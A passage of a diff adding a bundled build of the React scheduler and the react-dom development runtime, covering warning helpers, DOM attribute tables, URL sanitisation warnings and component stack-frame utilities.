+        exports.unstable_getFirstCallbackNode = unstable_getFirstCallbackNode;
+        exports.unstable_next = unstable_next;
+        exports.unstable_pauseExecution = unstable_pauseExecution;
+        exports.unstable_requestPaint = unstable_requestPaint;
+        exports.unstable_runWithPriority = unstable_runWithPriority;
+        exports.unstable_scheduleCallback = unstable_scheduleCallback;
+        exports.unstable_shouldYield = shouldYieldToHost;
+        exports.unstable_wrapCallback = unstable_wrapCallback;
+        if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== "undefined" && typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop === "function") {
+          __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop(new Error());
+        }
+      })();
+    }
+  }
+});
+
+// node_modules/scheduler/index.js
+var require_scheduler = __commonJS({
+  "node_modules/scheduler/index.js"(exports, module2) {
+    "use strict";
+    if (false) {
+      module2.exports = null;
+    } else {
+      module2.exports = require_scheduler_development();
+    }
+  }
+});
+
+// node_modules/react-dom/cjs/react-dom.development.js
+var require_react_dom_development = __commonJS({
+  "node_modules/react-dom/cjs/react-dom.development.js"(exports) {
+    "use strict";
+    if (true) {
+      (function() {
+        "use strict";
+        if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== "undefined" && typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart === "function") {
+          __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart(new Error());
+        }
+        var React9 = require_react();
+        var Scheduler = require_scheduler();
+        var ReactSharedInternals = React9.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
+        var suppressWarning = false;
+        function setSuppressWarning(newSuppressWarning) {
+          {
+            suppressWarning = newSuppressWarning;
+          }
+        }
+        function warn(format) {
+          {
+            if (!suppressWarning) {
+              for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
+                args[_key - 1] = arguments[_key];
+              }
+              printWarning("warn", format, args);
+            }
+          }
+        }
+        function error(format) {
+          {
+            if (!suppressWarning) {
+              for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
+                args[_key2 - 1] = arguments[_key2];
+              }
+              printWarning("error", format, args);
+            }
+          }
+        }
+        function printWarning(level, format, args) {
+          {
+            var ReactDebugCurrentFrame2 = ReactSharedInternals.ReactDebugCurrentFrame;
+            var stack = ReactDebugCurrentFrame2.getStackAddendum();
+            if (stack !== "") {
+              format += "%s";
+              args = args.concat([stack]);
+            }
+            var argsWithFormat = args.map(function(item) {
+              return String(item);
+            });
+            argsWithFormat.unshift("Warning: " + format);
+            Function.prototype.apply.call(console[level], console, argsWithFormat);
+          }
+        }
+        var FunctionComponent = 0;
+        var ClassComponent = 1;
+        var IndeterminateComponent = 2;
+        var HostRoot = 3;
+        var HostPortal = 4;
+        var HostComponent = 5;
+        var HostText = 6;
+        var Fragment = 7;
+        var Mode = 8;
+        var ContextConsumer = 9;
+        var ContextProvider = 10;
+        var ForwardRef = 11;
+        var Profiler = 12;
+        var SuspenseComponent = 13;
+        var MemoComponent = 14;
+        var SimpleMemoComponent = 15;
+        var LazyComponent = 16;
+        var IncompleteClassComponent = 17;
+        var DehydratedFragment = 18;
+        var SuspenseListComponent = 19;
+        var ScopeComponent = 21;
+        var OffscreenComponent = 22;
+        var LegacyHiddenComponent = 23;
+        var CacheComponent = 24;
+        var TracingMarkerComponent = 25;
+        var enableClientRenderFallbackOnTextMismatch = true;
+        var enableNewReconciler = false;
+        var enableLazyContextPropagation = false;
+        var enableLegacyHidden = false;
+        var enableSuspenseAvoidThisFallback = false;
+        var disableCommentsAsDOMContainers = true;
+        var enableCustomElementPropertySupport = false;
+        var warnAboutStringRefs = false;
+        var enableSchedulingProfiler = true;
+        var enableProfilerTimer = true;
+        var enableProfilerCommitHooks = true;
+        var allNativeEvents = /* @__PURE__ */ new Set();
+        var registrationNameDependencies = {};
+        var possibleRegistrationNames = {};
+        function registerTwoPhaseEvent(registrationName, dependencies) {
+          registerDirectEvent(registrationName, dependencies);
+          registerDirectEvent(registrationName + "Capture", dependencies);
+        }
+        function registerDirectEvent(registrationName, dependencies) {
+          {
+            if (registrationNameDependencies[registrationName]) {
+              error("EventRegistry: More than one plugin attempted to publish the same registration name, `%s`.", registrationName);
+            }
+          }
+          registrationNameDependencies[registrationName] = dependencies;
+          {
+            var lowerCasedName = registrationName.toLowerCase();
+            possibleRegistrationNames[lowerCasedName] = registrationName;
+            if (registrationName === "onDoubleClick") {
+              possibleRegistrationNames.ondblclick = registrationName;
+            }
+          }
+          for (var i2 = 0; i2 < dependencies.length; i2++) {
+            allNativeEvents.add(dependencies[i2]);
+          }
+        }
+        var canUseDOM = !!(typeof window !== "undefined" && typeof window.document !== "undefined" && typeof window.document.createElement !== "undefined");
+        var hasOwnProperty = Object.prototype.hasOwnProperty;
+        function typeName(value) {
+          {
+            var hasToStringTag = typeof Symbol === "function" && Symbol.toStringTag;
+            var type = hasToStringTag && value[Symbol.toStringTag] || value.constructor.name || "Object";
+            return type;
+          }
+        }
+        function willCoercionThrow(value) {
+          {
+            try {
+              testStringCoercion(value);
+              return false;
+            } catch (e2) {
+              return true;
+            }
+          }
+        }
+        function testStringCoercion(value) {
+          return "" + value;
+        }
+        function checkAttributeStringCoercion(value, attributeName) {
+          {
+            if (willCoercionThrow(value)) {
+              error("The provided `%s` attribute is an unsupported type %s. This value must be coerced to a string before before using it here.", attributeName, typeName(value));
+              return testStringCoercion(value);
+            }
+          }
+        }
+        function checkKeyStringCoercion(value) {
+          {
+            if (willCoercionThrow(value)) {
+              error("The provided key is an unsupported type %s. This value must be coerced to a string before before using it here.", typeName(value));
+              return testStringCoercion(value);
+            }
+          }
+        }
+        function checkPropStringCoercion(value, propName) {
+          {
+            if (willCoercionThrow(value)) {
+              error("The provided `%s` prop is an unsupported type %s. This value must be coerced to a string before before using it here.", propName, typeName(value));
+              return testStringCoercion(value);
+            }
+          }
+        }
+        function checkCSSPropertyStringCoercion(value, propName) {
+          {
+            if (willCoercionThrow(value)) {
+              error("The provided `%s` CSS property is an unsupported type %s. This value must be coerced to a string before before using it here.", propName, typeName(value));
+              return testStringCoercion(value);
+            }
+          }
+        }
+        function checkHtmlStringCoercion(value) {
+          {
+            if (willCoercionThrow(value)) {
+              error("The provided HTML markup uses a value of unsupported type %s. This value must be coerced to a string before before using it here.", typeName(value));
+              return testStringCoercion(value);
+            }
+          }
+        }
+        function checkFormFieldValueStringCoercion(value) {
+          {
+            if (willCoercionThrow(value)) {
+              error("Form field values (value, checked, defaultValue, or defaultChecked props) must be strings, not %s. This value must be coerced to a string before before using it here.", typeName(value));
+              return testStringCoercion(value);
+            }
+          }
+        }
+        var RESERVED = 0;
+        var STRING = 1;
+        var BOOLEANISH_STRING = 2;
+        var BOOLEAN = 3;
+        var OVERLOADED_BOOLEAN = 4;
+        var NUMERIC = 5;
+        var POSITIVE_NUMERIC = 6;
+        var ATTRIBUTE_NAME_START_CHAR = ":A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
+        var ATTRIBUTE_NAME_CHAR = ATTRIBUTE_NAME_START_CHAR + "\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
+        var VALID_ATTRIBUTE_NAME_REGEX = new RegExp("^[" + ATTRIBUTE_NAME_START_CHAR + "][" + ATTRIBUTE_NAME_CHAR + "]*$");
+        var illegalAttributeNameCache = {};
+        var validatedAttributeNameCache = {};
+        function isAttributeNameSafe(attributeName) {
+          if (hasOwnProperty.call(validatedAttributeNameCache, attributeName)) {
+            return true;
+          }
+          if (hasOwnProperty.call(illegalAttributeNameCache, attributeName)) {
+            return false;
+          }
+          if (VALID_ATTRIBUTE_NAME_REGEX.test(attributeName)) {
+            validatedAttributeNameCache[attributeName] = true;
+            return true;
+          }
+          illegalAttributeNameCache[attributeName] = true;
+          {
+            error("Invalid attribute name: `%s`", attributeName);
+          }
+          return false;
+        }
+        function shouldIgnoreAttribute(name, propertyInfo, isCustomComponentTag) {
+          if (propertyInfo !== null) {
+            return propertyInfo.type === RESERVED;
+          }
+          if (isCustomComponentTag) {
+            return false;
+          }
+          if (name.length > 2 && (name[0] === "o" || name[0] === "O") && (name[1] === "n" || name[1] === "N")) {
+            return true;
+          }
+          return false;
+        }
+        function shouldRemoveAttributeWithWarning(name, value, propertyInfo, isCustomComponentTag) {
+          if (propertyInfo !== null && propertyInfo.type === RESERVED) {
+            return false;
+          }
+          switch (typeof value) {
+            case "function":
+            case "symbol":
+              return true;
+            case "boolean": {
+              if (isCustomComponentTag) {
+                return false;
+              }
+              if (propertyInfo !== null) {
+                return !propertyInfo.acceptsBooleans;
+              } else {
+                var prefix2 = name.toLowerCase().slice(0, 5);
+                return prefix2 !== "data-" && prefix2 !== "aria-";
+              }
+            }
+            default:
+              return false;
+          }
+        }
+        function shouldRemoveAttribute(name, value, propertyInfo, isCustomComponentTag) {
+          if (value === null || typeof value === "undefined") {
+            return true;
+          }
+          if (shouldRemoveAttributeWithWarning(name, value, propertyInfo, isCustomComponentTag)) {
+            return true;
+          }
+          if (isCustomComponentTag) {
+            return false;
+          }
+          if (propertyInfo !== null) {
+            switch (propertyInfo.type) {
+              case BOOLEAN:
+                return !value;
+              case OVERLOADED_BOOLEAN:
+                return value === false;
+              case NUMERIC:
+                return isNaN(value);
+              case POSITIVE_NUMERIC:
+                return isNaN(value) || value < 1;
+            }
+          }
+          return false;
+        }
+        function getPropertyInfo(name) {
+          return properties.hasOwnProperty(name) ? properties[name] : null;
+        }
+        function PropertyInfoRecord(name, type, mustUseProperty, attributeName, attributeNamespace, sanitizeURL2, removeEmptyString) {
+          this.acceptsBooleans = type === BOOLEANISH_STRING || type === BOOLEAN || type === OVERLOADED_BOOLEAN;
+          this.attributeName = attributeName;
+          this.attributeNamespace = attributeNamespace;
+          this.mustUseProperty = mustUseProperty;
+          this.propertyName = name;
+          this.type = type;
+          this.sanitizeURL = sanitizeURL2;
+          this.removeEmptyString = removeEmptyString;
+        }
+        var properties = {};
+        var reservedProps = [
+          "children",
+          "dangerouslySetInnerHTML",
+          "defaultValue",
+          "defaultChecked",
+          "innerHTML",
+          "suppressContentEditableWarning",
+          "suppressHydrationWarning",
+          "style"
+        ];
+        reservedProps.forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, RESERVED, false, name, null, false, false);
+        });
+        [["acceptCharset", "accept-charset"], ["className", "class"], ["htmlFor", "for"], ["httpEquiv", "http-equiv"]].forEach(function(_ref) {
+          var name = _ref[0], attributeName = _ref[1];
+          properties[name] = new PropertyInfoRecord(name, STRING, false, attributeName, null, false, false);
+        });
+        ["contentEditable", "draggable", "spellCheck", "value"].forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, BOOLEANISH_STRING, false, name.toLowerCase(), null, false, false);
+        });
+        ["autoReverse", "externalResourcesRequired", "focusable", "preserveAlpha"].forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, BOOLEANISH_STRING, false, name, null, false, false);
+        });
+        [
+          "allowFullScreen",
+          "async",
+          "autoFocus",
+          "autoPlay",
+          "controls",
+          "default",
+          "defer",
+          "disabled",
+          "disablePictureInPicture",
+          "disableRemotePlayback",
+          "formNoValidate",
+          "hidden",
+          "loop",
+          "noModule",
+          "noValidate",
+          "open",
+          "playsInline",
+          "readOnly",
+          "required",
+          "reversed",
+          "scoped",
+          "seamless",
+          "itemScope"
+        ].forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, BOOLEAN, false, name.toLowerCase(), null, false, false);
+        });
+        [
+          "checked",
+          "multiple",
+          "muted",
+          "selected"
+        ].forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, BOOLEAN, true, name, null, false, false);
+        });
+        [
+          "capture",
+          "download"
+        ].forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, OVERLOADED_BOOLEAN, false, name, null, false, false);
+        });
+        [
+          "cols",
+          "rows",
+          "size",
+          "span"
+        ].forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, POSITIVE_NUMERIC, false, name, null, false, false);
+        });
+        ["rowSpan", "start"].forEach(function(name) {
+          properties[name] = new PropertyInfoRecord(name, NUMERIC, false, name.toLowerCase(), null, false, false);
+        });
+        var CAMELIZE = /[\-\:]([a-z])/g;
+        var capitalize = function(token) {
+          return token[1].toUpperCase();
+        };
+        [
+          "accent-height",
+          "alignment-baseline",
+          "arabic-form",
+          "baseline-shift",
+          "cap-height",
+          "clip-path",
+          "clip-rule",
+          "color-interpolation",
+          "color-interpolation-filters",
+          "color-profile",
+          "color-rendering",
+          "dominant-baseline",
+          "enable-background",
+          "fill-opacity",
+          "fill-rule",
+          "flood-color",
+          "flood-opacity",
+          "font-family",
+          "font-size",
+          "font-size-adjust",
+          "font-stretch",
+          "font-style",
+          "font-variant",
+          "font-weight",
+          "glyph-name",
+          "glyph-orientation-horizontal",
+          "glyph-orientation-vertical",
+          "horiz-adv-x",
+          "horiz-origin-x",
+          "image-rendering",
+          "letter-spacing",
+          "lighting-color",
+          "marker-end",
+          "marker-mid",
+          "marker-start",
+          "overline-position",
+          "overline-thickness",
+          "paint-order",
+          "panose-1",
+          "pointer-events",
+          "rendering-intent",
+          "shape-rendering",
+          "stop-color",
+          "stop-opacity",
+          "strikethrough-position",
+          "strikethrough-thickness",
+          "stroke-dasharray",
+          "stroke-dashoffset",
+          "stroke-linecap",
+          "stroke-linejoin",
+          "stroke-miterlimit",
+          "stroke-opacity",
+          "stroke-width",
+          "text-anchor",
+          "text-decoration",
+          "text-rendering",
+          "underline-position",
+          "underline-thickness",
+          "unicode-bidi",
+          "unicode-range",
+          "units-per-em",
+          "v-alphabetic",
+          "v-hanging",
+          "v-ideographic",
+          "v-mathematical",
+          "vector-effect",
+          "vert-adv-y",
+          "vert-origin-x",
+          "vert-origin-y",
+          "word-spacing",
+          "writing-mode",
+          "xmlns:xlink",
+          "x-height"
+        ].forEach(function(attributeName) {
+          var name = attributeName.replace(CAMELIZE, capitalize);
+          properties[name] = new PropertyInfoRecord(name, STRING, false, attributeName, null, false, false);
+        });
+        [
+          "xlink:actuate",
+          "xlink:arcrole",
+          "xlink:role",
+          "xlink:show",
+          "xlink:title",
+          "xlink:type"
+        ].forEach(function(attributeName) {
+          var name = attributeName.replace(CAMELIZE, capitalize);
+          properties[name] = new PropertyInfoRecord(name, STRING, false, attributeName, "http://www.w3.org/1999/xlink", false, false);
+        });
+        [
+          "xml:base",
+          "xml:lang",
+          "xml:space"
+        ].forEach(function(attributeName) {
+          var name = attributeName.replace(CAMELIZE, capitalize);
+          properties[name] = new PropertyInfoRecord(name, STRING, false, attributeName, "http://www.w3.org/XML/1998/namespace", false, false);
+        });
+        ["tabIndex", "crossOrigin"].forEach(function(attributeName) {
+          properties[attributeName] = new PropertyInfoRecord(attributeName, STRING, false, attributeName.toLowerCase(), null, false, false);
+        });
+        var xlinkHref = "xlinkHref";
+        properties[xlinkHref] = new PropertyInfoRecord("xlinkHref", STRING, false, "xlink:href", "http://www.w3.org/1999/xlink", true, false);
+        ["src", "href", "action", "formAction"].forEach(function(attributeName) {
+          properties[attributeName] = new PropertyInfoRecord(attributeName, STRING, false, attributeName.toLowerCase(), null, true, true);
+        });
+        var isJavaScriptProtocol = /^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;
+        var didWarn = false;
+        function sanitizeURL(url) {
+          {
+            if (!didWarn && isJavaScriptProtocol.test(url)) {
+              didWarn = true;
+              error("A future version of React will block javascript: URLs as a security precaution. Use event handlers instead if you can. If you need to generate unsafe HTML try using dangerouslySetInnerHTML instead. React was passed %s.", JSON.stringify(url));
+            }
+          }
+        }
+        function getValueForProperty(node, name, expected, propertyInfo) {
+          {
+            if (propertyInfo.mustUseProperty) {
+              var propertyName = propertyInfo.propertyName;
+              return node[propertyName];
+            } else {
+              {
+                checkAttributeStringCoercion(expected, name);
+              }
+              if (propertyInfo.sanitizeURL) {
+                sanitizeURL("" + expected);
+              }
+              var attributeName = propertyInfo.attributeName;
+              var stringValue = null;
+              if (propertyInfo.type === OVERLOADED_BOOLEAN) {
+                if (node.hasAttribute(attributeName)) {
+                  var value = node.getAttribute(attributeName);
+                  if (value === "") {
+                    return true;
+                  }
+                  if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
+                    return value;
+                  }
+                  if (value === "" + expected) {
+                    return expected;
+                  }
+                  return value;
+                }
+              } else if (node.hasAttribute(attributeName)) {
+                if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
+                  return node.getAttribute(attributeName);
+                }
+                if (propertyInfo.type === BOOLEAN) {
+                  return expected;
+                }
+                stringValue = node.getAttribute(attributeName);
+              }
+              if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
+                return stringValue === null ? expected : stringValue;
+              } else if (stringValue === "" + expected) {
+                return expected;
+              } else {
+                return stringValue;
+              }
+            }
+          }
+        }
+        function getValueForAttribute(node, name, expected, isCustomComponentTag) {
+          {
+            if (!isAttributeNameSafe(name)) {
+              return;
+            }
+            if (!node.hasAttribute(name)) {
+              return expected === void 0 ? void 0 : null;
+            }
+            var value = node.getAttribute(name);
+            {
+              checkAttributeStringCoercion(expected, name);
+            }
+            if (value === "" + expected) {
+              return expected;
+            }
+            return value;
+          }
+        }
+        function setValueForProperty(node, name, value, isCustomComponentTag) {
+          var propertyInfo = getPropertyInfo(name);
+          if (shouldIgnoreAttribute(name, propertyInfo, isCustomComponentTag)) {
+            return;
+          }
+          if (shouldRemoveAttribute(name, value, propertyInfo, isCustomComponentTag)) {
+            value = null;
+          }
+          if (isCustomComponentTag || propertyInfo === null) {
+            if (isAttributeNameSafe(name)) {
+              var _attributeName = name;
+              if (value === null) {
+                node.removeAttribute(_attributeName);
+              } else {
+                {
+                  checkAttributeStringCoercion(value, name);
+                }
+                node.setAttribute(_attributeName, "" + value);
+              }
+            }
+            return;
+          }
+          var mustUseProperty = propertyInfo.mustUseProperty;
+          if (mustUseProperty) {
+            var propertyName = propertyInfo.propertyName;
+            if (value === null) {
+              var type = propertyInfo.type;
+              node[propertyName] = type === BOOLEAN ? false : "";
+            } else {
+              node[propertyName] = value;
+            }
+            return;
+          }
+          var attributeName = propertyInfo.attributeName, attributeNamespace = propertyInfo.attributeNamespace;
+          if (value === null) {
+            node.removeAttribute(attributeName);
+          } else {
+            var _type = propertyInfo.type;
+            var attributeValue;
+            if (_type === BOOLEAN || _type === OVERLOADED_BOOLEAN && value === true) {
+              attributeValue = "";
+            } else {
+              {
+                {
+                  checkAttributeStringCoercion(value, attributeName);
+                }
+                attributeValue = "" + value;
+              }
+              if (propertyInfo.sanitizeURL) {
+                sanitizeURL(attributeValue.toString());
+              }
+            }
+            if (attributeNamespace) {
+              node.setAttributeNS(attributeNamespace, attributeName, attributeValue);
+            } else {
+              node.setAttribute(attributeName, attributeValue);
+            }
+          }
+        }
+        var REACT_ELEMENT_TYPE = Symbol.for("react.element");
+        var REACT_PORTAL_TYPE = Symbol.for("react.portal");
+        var REACT_FRAGMENT_TYPE = Symbol.for("react.fragment");
+        var REACT_STRICT_MODE_TYPE = Symbol.for("react.strict_mode");
+        var REACT_PROFILER_TYPE = Symbol.for("react.profiler");
+        var REACT_PROVIDER_TYPE = Symbol.for("react.provider");
+        var REACT_CONTEXT_TYPE = Symbol.for("react.context");
+        var REACT_FORWARD_REF_TYPE = Symbol.for("react.forward_ref");
+        var REACT_SUSPENSE_TYPE = Symbol.for("react.suspense");
+        var REACT_SUSPENSE_LIST_TYPE = Symbol.for("react.suspense_list");
+        var REACT_MEMO_TYPE = Symbol.for("react.memo");
+        var REACT_LAZY_TYPE = Symbol.for("react.lazy");
+        var REACT_SCOPE_TYPE = Symbol.for("react.scope");
+        var REACT_DEBUG_TRACING_MODE_TYPE = Symbol.for("react.debug_trace_mode");
+        var REACT_OFFSCREEN_TYPE = Symbol.for("react.offscreen");
+        var REACT_LEGACY_HIDDEN_TYPE = Symbol.for("react.legacy_hidden");
+        var REACT_CACHE_TYPE = Symbol.for("react.cache");
+        var REACT_TRACING_MARKER_TYPE = Symbol.for("react.tracing_marker");
+        var MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
+        var FAUX_ITERATOR_SYMBOL = "@@iterator";
+        function getIteratorFn(maybeIterable) {
+          if (maybeIterable === null || typeof maybeIterable !== "object") {
+            return null;
+          }
+          var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];
+          if (typeof maybeIterator === "function") {
+            return maybeIterator;
+          }
+          return null;
+        }
+        var assign = Object.assign;
+        var disabledDepth = 0;
+        var prevLog;
+        var prevInfo;
+        var prevWarn;
+        var prevError;
+        var prevGroup;
+        var prevGroupCollapsed;
+        var prevGroupEnd;
+        function disabledLog() {
+        }
+        disabledLog.__reactDisabledLog = true;
+        function disableLogs() {
+          {
+            if (disabledDepth === 0) {
+              prevLog = console.log;
+              prevInfo = console.info;
+              prevWarn = console.warn;
+              prevError = console.error;
+              prevGroup = console.group;
+              prevGroupCollapsed = console.groupCollapsed;
+              prevGroupEnd = console.groupEnd;
+              var props = {
+                configurable: true,
+                enumerable: true,
+                value: disabledLog,
+                writable: true
+              };
+              Object.defineProperties(console, {
+                info: props,
+                log: props,
+                warn: props,
+                error: props,
+                group: props,
+                groupCollapsed: props,
+                groupEnd: props
+              });
+            }
+            disabledDepth++;
+          }
+        }
+        function reenableLogs() {
+          {
+            disabledDepth--;
+            if (disabledDepth === 0) {
+              var props = {
+                configurable: true,
+                enumerable: true,
+                writable: true
+              };
+              Object.defineProperties(console, {
+                log: assign({}, props, {
+                  value: prevLog
+                }),
+                info: assign({}, props, {
+                  value: prevInfo
+                }),
+                warn: assign({}, props, {
+                  value: prevWarn
+                }),
+                error: assign({}, props, {
+                  value: prevError
+                }),
+                group: assign({}, props, {
+                  value: prevGroup
+                }),
+                groupCollapsed: assign({}, props, {
+                  value: prevGroupCollapsed
+                }),
+                groupEnd: assign({}, props, {
+                  value: prevGroupEnd
+                })
+              });
+            }
+            if (disabledDepth < 0) {
+              error("disabledDepth fell below zero. This is a bug in React. Please file an issue.");
+            }
+          }
+        }
+        var ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;
+        var prefix;
+        function describeBuiltInComponentFrame(name, source, ownerFn) {
+          {
+            if (prefix === void 0) {
+              try {
+                throw Error();
+              } catch (x) {
+                var match = x.stack.trim().match(/\n( *(at )?)/);
+                prefix = match && match[1] || "";
+              }
+            }
+            return "\n" + prefix + name;
+          }
+        }
+        var reentry = false;
+        var componentFrameCache;
+        {
+          var PossiblyWeakMap = typeof WeakMap === "function" ? WeakMap : Map;
+          componentFrameCache = new PossiblyWeakMap();
+        }
+        function describeNativeComponentFrame(fn, construct) {
+          if (!fn || reentry) {
+            return "";
+          }
+          {
+            var frame = componentFrameCache.get(fn);
+            if (frame !== void 0) {
+              return frame;
+            }
+          }
+          var control;
+          reentry = true;
+          var previousPrepareStackTrace = Error.prepareStackTrace;
+          Error.prepareStackTrace = void 0;
+          var previousDispatcher;
+          {
+            previousDispatcher = ReactCurrentDispatcher.current;
+            ReactCurrentDispatcher.current = null;
+            disableLogs();
+          }
+          try {
+            if (construct) {
+              var Fake = function() {
+                throw Error();
+              };
+              Object.defineProperty(Fake.prototype, "props", {
+                set: function() {
+                  throw Error();
+                }
+              });
+              if (typeof Reflect === "object" && Reflect.construct) {
+                try {
+                  Reflect.construct(Fake, []);
+                } catch (x) {
+                  control = x;
+                }
+                Reflect.construct(fn, [], Fake);
+              } else {
+                try {
+                  Fake.call();
+                } catch (x) {
+                  control = x;
+                }
+                fn.call(Fake.prototype);
+              }
+            } else {
+              try {
+                throw Error();
+              } catch (x) {
+                control = x;
+              }
+              fn();
+            }
+          } catch (sample) {
+            if (sample && control && typeof sample.stack === "string") {
+              var sampleLines = sample.stack.split("\n");
+              var controlLines = control.stack.split("\n");
+              var s2 = sampleLines.length - 1;
+              var c2 = controlLines.length - 1;
+              while (s2 >= 1 && c2 >= 0 && sampleLines[s2] !== controlLines[c2]) {
+                c2--;
+              }
+              for (; s2 >= 1 && c2 >= 0; s2--, c2--) {
+                if (sampleLines[s2] !== controlLines[c2]) {
+                  if (s2 !== 1 || c2 !== 1) {
+                    do {
+                      s2--;
+                      c2--;
+                      if (c2 < 0 || sampleLines[s2] !== controlLines[c2]) {
+                        var _frame = "\n" + sampleLines[s2].replace(" at new ", " at ");
+                        if (fn.displayName && _frame.includes("<anonymous>")) {
+                          _frame = _frame.replace("<anonymous>", fn.displayName);
+                        }
+                        {
+                          if (typeof fn === "function") {
+                            componentFrameCache.set(fn, _frame);
+                          }
+                        }
+                        return _frame;
+                      }
+                    } while (s2 >= 1 && c2 >= 0);
+                  }
+                  break;
+                }
+              }
+            }
+          } finally {
+            reentry = false;
+            {
+              ReactCurrentDispatcher.current = previousDispatcher;
+              reenableLogs();
+            }
+            Error.prepareStackTrace = previousPrepareStackTrace;
+          }
+          var name = fn ? fn.displayName || fn.name : "";
+          var syntheticFrame = name ? describeBuiltInComponentFrame(name) : "";
+          {
+            if (typeof fn === "function") {
+              componentFrameCache.set(fn, syntheticFrame);
+            }
+          }
+          return syntheticFrame;
+        }
+        function describeClassComponentFrame(ctor, source, ownerFn) {
+          {
+            return describeNativeComponentFrame(ctor, true);
+          }
+        }
+        function describeFunctionComponentFrame(fn, source, ownerFn) {
+          {
+            return describeNativeComponentFrame(fn, false);
+          }
+        }
+        function shouldConstruct(Component) {
+          var prototype = Component.prototype;
+          return !!(prototype && prototype.isReactComponent);
+        }
+        function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {
+          if (type == null) {
+            return "";
+          }
+          if (typeof type === "function") {
+            {
+              return describeNativeComponentFrame(type, shouldConstruct(type));
+            }
+          }
+          if (typeof type === "string") {
+            return describeBuiltInComponentFrame(type);
+          }
+          switch (type) {
+            case REACT_SUSPENSE_TYPE:
+              return describeBuiltInComponentFrame("Suspense");
+            case REACT_SUSPENSE_LIST_TYPE:
+              return describeBuiltInComponentFrame("SuspenseList");
+          }
+          if (typeof type === "object") {
+            switch (type.$$typeof) {
+              case REACT_FORWARD_REF_TYPE:
+                return describeFunctionComponentFrame(type.render);
+              case REACT_MEMO_TYPE:
+                return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);
+              case REACT_LAZY_TYPE: {
+                var lazyComponent = type;
+                var payload = lazyComponent._payload;
+                var init = lazyComponent._init;
+                try {
+                  return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
+                } catch (x) {
+                }
+              }
+            }
+          }
+          return "";
+        }
+        function describeFiber(fiber) {
+          var owner = fiber._debugOwner ? fiber._debugOwner.type : null;
+          var source = fiber._debugSource;
+          switch (fiber.tag) {
+            case HostComponent:
+              return describeBuiltInComponentFrame(fiber.type);
+            case LazyComponent:
+              return describeBuiltInComponentFrame("Lazy");
+            case SuspenseComponent:
+              return describeBuiltInComponentFrame("Suspense");
+            case SuspenseListComponent:
+              return describeBuiltInComponentFrame("SuspenseList");
+            case FunctionComponent:
+            case IndeterminateComponent:
+            case SimpleMemoComponent:
+              return describeFunctionComponentFrame(fiber.type);
+            case ForwardRef:
+              return describeFunctionComponentFrame(fiber.type.render);
+            case ClassComponent:
+              return describeClassComponentFrame(fiber.type);
+            default:
+              return "";
+          }
+        }
+        function getStackByFiberInDevAndProd(workInProgress2) {
+          try {
+            var info = "";
+            var node = workInProgress2;
+            do {
+              info += describeFiber(node);
+              node = node.return;
+            } while (node);
+            return info;
+          } catch (x) {
+            return "\nError generating stack: " + x.message + "\n" + x.stack;
+          }
+        }
+        function getWrappedName(outerType, innerType, wrapperName) {
+          var displayName = outerType.displayName;
+          if (displayName) {
+            return displayName;
+          }
+          var functionName = innerType.displayName || innerType.name || "";
+          return functionName !== "" ? wrapperName + "(" + functionName + ")" : wrapperName;
+        }
+        function getContextName(type) {
+          return type.displayName || "Context";
+        }
+        function getComponentNameFromType(type) {
+          if (type == null) {
+            return null;
+          }
+          {
+            if (typeof type.tag === "number") {
+              error("Received an unexpected object in getComponentNameFromType(). This is likely a bug in React. Please file an issue.");
+            }
+          }
+          if (typeof type === "function") {
+            return type.displayName || type.name || null;
+          }
+          if (typeof type === "string") {
+            return type;
+          }
+          switch (type) {
+            case REACT_FRAGMENT_TYPE:
+              return "Fragment";
+            case REACT_PORTAL_TYPE:
+              return "Portal";
+            case REACT_PROFILER_TYPE:
+              return "Profiler";
+            case REACT_STRICT_MODE_TYPE:
+              return "StrictMode";
+            case REACT_SUSPENSE_TYPE:
+              return "Suspense";
+            case REACT_SUSPENSE_LIST_TYPE:
+              return "SuspenseList";
+          }
+          if (typeof type === "object") {
+            switch (type.$$typeof) {
+              case REACT_CONTEXT_TYPE:
+                var context = type;
+                return getContextName(context) + ".Consumer";
+              case REACT_PROVIDER_TYPE:
+                var provider = type;
+                return getContextName(provider._context) + ".Provider";
+              case REACT_FORWARD_REF_TYPE:
+                return getWrappedName(type, type.render, "ForwardRef");
+              case REACT_MEMO_TYPE:
+                var outerName = type.displayName || null;
+                if (outerName !== null) {
+                  return outerName;
+                }
+                return getComponentNameFromType(type.type) || "Memo";
